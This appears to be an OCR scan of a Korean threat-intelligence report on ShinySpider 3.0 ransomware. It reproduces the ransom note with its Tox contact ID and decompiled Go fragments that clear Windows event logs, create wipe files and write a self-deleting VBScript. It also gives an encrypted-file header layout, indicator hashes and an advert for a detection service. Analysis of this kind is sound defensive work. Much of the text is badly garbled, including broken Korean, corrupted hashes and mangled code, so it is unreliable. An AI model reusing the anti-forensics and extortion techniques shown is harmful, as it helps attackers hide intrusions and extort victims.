00000140: 10 43 3 0 24 41 42 € 74 45 73 74 31 2 7 | CASkANEesEL.® orig.File_size R o Y s

: : es . -
opooo150: RE o5 c= FENERT B EMEE end_magic 0| 0x0EBABISA | @xBBABBISD |4 bytes  String "ENDS"

olsd ol &
[23 20] ¢=SHE ofY §f|c
= ole ool Koy C [ =2 u " [ =
D= RS sststn L Fols ¢lRYE #HMLEE "OxDEADBEEFCAFEBABE” 2h= 8Bytes 7|2 L3l 2t ZH0|
"

X{Zetct,

'j R3IADME_1Wks5fye tut - Windows HEZ

o BTE MH@ =270V ESEH)

— BY SHINYSP1D3R (ShinyHunters)

This communication has been issued on behalf of the ShinySp1d3r group. It is intended exclusively for internal incident response personnel,

A critical encryption event has taken place within your infrastructure. Certain digital assets have become inaccessible, and selected data was|

No external disclosures have been made. You remain fully in control of how this matter progresses.

— Recovery Coordination Overview
You have been assigned a private session through Tox-based communication. This is not a broadcast or automated message.. your session |

In your Tox session, you will receive:

- Secure recovery instructions and validation tools

- A tailored decryption utility for your systems

- Structured walkthrough of file restoration

- Written disengagement confirmation upon completion

- An overview of observed vulnerabilities for internal review

This is a professional process, designed for completion.. not escalation.

— Begin the Session

1. Download a Tox client from https://tox.chat (e.g. qTox or uTox)
2. Launch your client and add the following Tox ID:

Tox ID: BD1B683FD3E6CB094341317A4C09923B7AE3E7903A6CDBI0ES631ECTDCT1452636FF35D9F5AF2

3. Once added, send your assigned Case 1D as your first message:

Case |ID: 83ECCB7D825B7EB3530CDTAE349325E6

[22 21] HA=E
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tR
ret

]
[

=
me
o

D encr:,pted files_list.dat = rﬂl

2

1 C:hy
2 testl.oxt.gUTDgYdl
5 testld.cxt .wERLW4EE

¥ 8

AEE 7} r|HEz2 E2 Felet

4 testld0.Lxt.

nfUUVn ke

5 testll.
L testlz
testl3.

8 testl4d

g testls.
10 testla.
testl’
testls
L= testls.

{4

SLCXL.
TXLC.
.CEL.
CELC.
CELC.
SLCXL.
XL,

TXLC

.E4L1Yc3f

rl185xTG1L
CW1XEmTH
ShZozlaC
FLOGEXMM

nfUUVnkw
aetlL2giv
DngmRhey

. ZpE&vvwWE

[33 22] ¢¥s8

-
Hot

mjele St
°.:I°I9I CIO|E{2 HO{e2LL O|E

=l MY 2|AE

Wy g, A0l W B

—

mH77kR|

[ E=2
=
2 2

2F M=
L

s
SoliA ClA30]| Hotd

i
rlo

= @

ath_rand_Uinted(vie);

/f create random filename

untime_conwTe4({v42};
= BRTYPE_uinte4;

e T e 5

N == ==
= &

=H
v43 = 23
File

fmt_Sprintf(“"wipe-¥@l6x.tmp", 14,
runtime_concatstring2(vil,
golang_org_x_sys_windows_UTFlePtrFromString(v4s.ptr,

v1es, 1, 1};
.—.—.:Ij

S

golang_org_x sys_windows_CreateFile(v4c, exdeopoaes, @,

45.1en);

@, 2, BxAdoEREER, B);

[AE 23] = opY MY

Windows A|ARIQ| OJHIE 28 AMA[St= 7|Sk EXTICE

26[1]

11;

"

26[@]
126[3]
26[2]
126[5]
r26[4]

Application™;
63

e
System”;

H

" rem,
Security”;

syscall MewlazyDLL( "advapi32.dll”,

12;

syscall ptr LazyDLL NewProc(va, "0

I = syscall ptr LazyDLL NewProc(v24,

syscall ptr LazyDLL NewProc(v24,

pen ventLogh

"ClearEventLogh”,
"CloseEventlog”, 13);

» 13);

14;

A0 HSHIE{(1600-7028)
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ML Eot SUSH| IRYE O[OIXIE A AAEC| HIEYSIHS HESHH, OS2 XpJt ARIE TIdst 7| Z=SIC).

[

Your files are currently inaccessible, secured under an active encryption protocol.

ShlnySpld3r Ransomware is responsible for this data security event.

To proceed with data recovery, locate and open the instruction file:
R3ADME_1Vks5fYe.txt

This file is present in all affected folders.
Do NOT attempt to decrypt or modify any files on your own.
Doing so will lead to permanent and irreversible data loss.

Case ID: 83ECCB7D825B7EB3590CD1AE349325E6

Follow instructions in the README file to begin recovery.

= fmt_Sprintf(
"Set objWMI = GetObject(
"Set colProcesses = objWMI.ExecQuery(\
"Do While colProcesses.Count > @\n"
" Wscript.Sleep 1@@\n”
" Set colProcesses = objWMI.ExecQuery(\"SELECT * FROM Win32_ Process WHERE ProcessId = &d\")\n"

"Loopin”

"Set objFS0 = CreateObject(\"Scripting.FileSystemObjecti”)\n
"objFs0.DeleteFile \"¥s\", True\n”

"WSscript.Quit”,

386,

»

3,
3);
os_TempDir();
[1] = .part_1;
[8] = va;
= 11;
= "cleanup.vbs";
= path_filepath_Join( , 2, 2)3

= runtime_stringtoslicebyte(8, .part_e, .part_1);
os_WriteFile(v9.part_@, .part_1, .part_a, .part_1, .part_2, 428);
runtime_convTstring(v®.part_a, .part_1);

[@] = BRTYPE_string;

[1] = vie;

= fmt_Sprintf("wscript.exe //B //Nologo \"¥s\"", 29, s 1, 1);

= syscall UTF16PtrFromString( .part_e, .part_1);
= runtime newobject(&RTYPE syscall StartupInfo);

[2 26] X7 AWl VBScript
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4. 28

SLSHE= 251 8¢ Salesforce 22 0|5 &3St
O|§2 02| X2l EaaS 5! RaaS HEHS| 3 AH

JXZ| g1 &H| SH2E O|0HE JtsdS EF0l = ERI} UCt

0K

AS 20|31 HAHRI HRLIAO|ME S EXiES HA 71947t
% C A

A

w3t 25 11 2 ZIHEl ShinySpider 3.0 MAlQ|oj= HellCat AATEE J[HIOZ 3t HZEOR J|Z IE AXQ =%t
HtAls AT BHE ZR6IHM UE 7[50| =EE HelE HQICH SAXHIIX|= Windows SHEE CHACE oF XstAQl MEot
SholdliX|al 7|& AARACY 7|52 FUk JHLERUCIHE Mt XEXNOE ESXi & 7Hst &tF 342 AgshiActs NS
12{sHH, g HNIEX 54 Hel MER ZHECE FtE J71s540| Qo] olof| tiet F27t EHQSICL

5.1oCs

ShinySpider 3.0

3bf53cddf7eb98d9cb94f92a9f36c211a464e2¢c1b278f091d6026003050281de
3e780ae2d67a024af3cd6242afbe6d907047d22769075776697e48f6ef677d6d
9ff1051bd0fa917ffa3829e67f5e056ef467333bd2a1d2e11fe527484257932¢
50d18f4b11c5d9de7fc16cbcbca71e65¢c5e8e9df7d8f3fb192565f035e5adf8a
62dc6ed7c83769648b5c59ad9cc2ade26daec96a952eb44c93fd45f2011a3444
285aadef3f3cdb367bd89echaaab698cc12cdf29fa38f03bfa064de54ab9c6al2
670a269d935f1586d4f0e5bed685d15a38e6fa790f763e6ed5¢c9fdd72dce3cf2
d12e44a6c04ab4cafdal471a1204fbe3b6f0d01cad017e3d8ae13fa8870¢7689
e41dd341f317cb674ff12c¢83a17365e5¢5aa3240d912ab3801ff4cf09a00cch2
€225da072f5664bac05e5553¢ce9707e00e6b4773a24451d836150be6ab0d3c66

HellCat (Go version) ‘

5646171e8e2e3b409293f1b97570264f0b236903c09341bedb42626fecd5d8bb
6924479¢c42b3732e0d57b34714b7210e14655ee1ca570aedaab1d90c3f6c6428
b8e71845cc8ccd668a3436d1952a6¢c57649974bb8399e599dc33afc4c0843be7
dcd7995038ad4839e88e5bb3bf654b4f7¢c2ad09780a39¢c9d47596¢ce717fd4ac2

A otEl oiY Sic A

#pragma endian big
struct SPDR_Header {
char magic[4]; // "SPDR"
u16 enc_mode; /] &3t BE(1: A, 2: BE
u8 fixed_1[3]; /] 3 bytes (1 11H)
u32 enc_key_len; /| E3E 2453 7| 20|
u8 enc_key[enc_key_len]; /| BE3=l 55t 7|
23
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u8 nonce[12];

u8 enc_flag;

/| &53%} nonce

/] enc_flag == Ox50% w2t SHA| EF =xi

if (enc_flag == 0x50) {
u32 hash_len;
u8 hash[hash_len];

u32 orig_name_len;

char orig_name[orig_name_len];

u32 unknownO;
u32 orig_file_size;

char end_magic[4];

h

SPDR_Header header @ 0xO;

A0 HSHIE{(1600-7028)
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/I A2 oeE Zo|

/! 4 bytes (0 1H)

/[l |2 OiY AMo|=

/] "ENDS"
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1. A0 CHSLet by

O|tH E7|0ll= Clop 10| Oracle E-Business Suite OflA st F|oFM(CVE-2025-61882)2 0|83 AEE 43FHOH,
Weaxor #49)|0{= React2Shell & (CVE-2025-55182)2 &3 215 |i0| & ZE HIMS St 0|E Sl 7|
[o]

{0
r
O

il

= o
AS $ NS UWUCE O T2 WHRI0] IS ZASS olmatel ok 915 0T NS LB £ WE 3
U GlOE L, WY My Al RSB 00Xl O1F ZH MES ALZHICL Olo CHSSI| UK
X

Hat VPN ZH| § 2/ F KMo st 2ot XIS M&5| HESt, A 7igt 215 H|A

CVE-2025-61882 (E-Business Suite)

s s o

x React2Shell CVE-2025-55182 (React Server Components 19.0-19.2.0)

1
1
1
1
1
1
1
1
1
1
1
1
£

B ——

|

“lo Data 2% 3 HF o QI 22 AT OIS SR UL EH o FOHUAS FB MET M|~ 4B} '
~lo H9| FHE EH A O o HAIZHSIE JHABHE B8 B4 Y OIS e Ol FME E0H Y WA Of2 8 :
~o 2oI54Z, Hot A HIt o LS SHHS 91804 2| A ~o 22 N3] YAIF AT YE /& 2UEHY
CELELEERELEREE @ 27 25/42 B2 NS A (CALESEE LR '
EXEES EEEEEXTN| :
L0 A O £ AE GlO|E] W Hot '
v BoE M US +F MY COE WY ot A v 24 2SS HDRM) v eses :
v Ao 9B A v 2olEH MuA v PCEAZREYR) v DBgBE =S :
[=ame qua | X :
Hurel2 2w M9I0f 2 3 AAS0| oHY FRM !
' Endpoint TS ME|2 v HEY3I 2 EH(NAQ) v HOE S78HM HEA o/ WHYO| HAEY '
v OEIHY/OIYAPTLS v EOEH MHA v Top-CERTAIR ZAtAHI2 o CLAY RS A Mul2
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2. SK €A MDR MH|A

HMojof] MEXHOZ CHSst7| oA SK &HAS| MDR(Managed Detection and Response) AH|A7E At83H= Z{0]|
2apEQl dioto] & £ U 22 WHEAN SHAXSS K|t HE nESiEl BX| 2o 7oz Qld J|ES| o
HAZCZE= 2I”0lM HHojLE7| o242 &=olCt O|Z sHZ5t7| 2I8f SK A= HAZICE HESRAE HLIEES oY
ASE ZX5IH HeA| ZZHo= 8Y + U= MDR MHIAE HMIZstn UCt HH0] SH2 AR oftto| SALCH It
SREIX|T msirt LMMS FR MET ZXIE SO mHE ZAMSh= A D 1R FQSHCE M2 7|YHollMs HE
ZZ[o| A&5t Felol A ZAtet BME EOE REY HQF £FMS HISdh= SK &EA°| MDR MHIAE 12{dl= AS
FHgict.
|
A A I EXF
SKAIGIA MDR Service 37kx] EXHA
MU= L&
01 EDRE 27} 2% & m v EDR M2 ZHH| MH|2
] CCj4 DA M2 FE S
M q aAagas s s LJ - Chgel MR ATRce 02 8Y O s
anage . ol sK-Defi ool e
g loC 2! SK-Defined Rules YHI0IE EDR M7t v N2 IEE SA
S 2 9 o9H2| ure
R MHEZ - 78 2 et S 08
. OMIE B4 g Th2 ZH|
e v TOP-CERT & 7t5
= A A A
02 SK'éE'-l—':':k"Iﬂklul— h _24x7 7213 =22 59
) +EDR/YMALC FE27) 24 MHH|~ Iﬁ: - U ACE ADEA R =4 OIS
Detection | ;s =& opsang =5 xy2 v SKEC|A Hot HETL Mu|A 28 71k
HMREE Eot E/eE e HME7} MH[A - 24 27 Al TS
« =7)E 9laslEl 4ol 28 - HOF FHBTE 2 MH|A (B ERMIE 4 CERT)
- WY = NA 2 = AS M
03 HajAn 2y suy m v MHls B3t 3RS 2
No.1 - HSIY R YU 2
- L E[CE ESHAILL 24 8 AP Lok A CCHA HR 2N A 2D
Response .z 2+ e v I A A BRI 89T 2st
« U HB|X|HE(loC) EDR £ HE Hot=F i3 - D7 50L B} HO o[ HhAF M ACH 7l
7 MDR AfH|A: AAIZH 2/ K| T2 S3) Alo|H BHo2RH Zxlg B5sis #ald 2ot MH|A

u

0] CHSHIE{(1600-7028)

¥
SK"’ZE

|>

KARA(Korean Anti Ransomware Alliance)

.
SK"Ztm /) TREND
VERITAS Carrot &

Genians ¥ anDIANT

R0 8L SB ngw

YOON &YANG



o

SKELA(F) 13486 7| MHA Y+ Hu2227HA 23, 485%5

https://www.skshieldus.com
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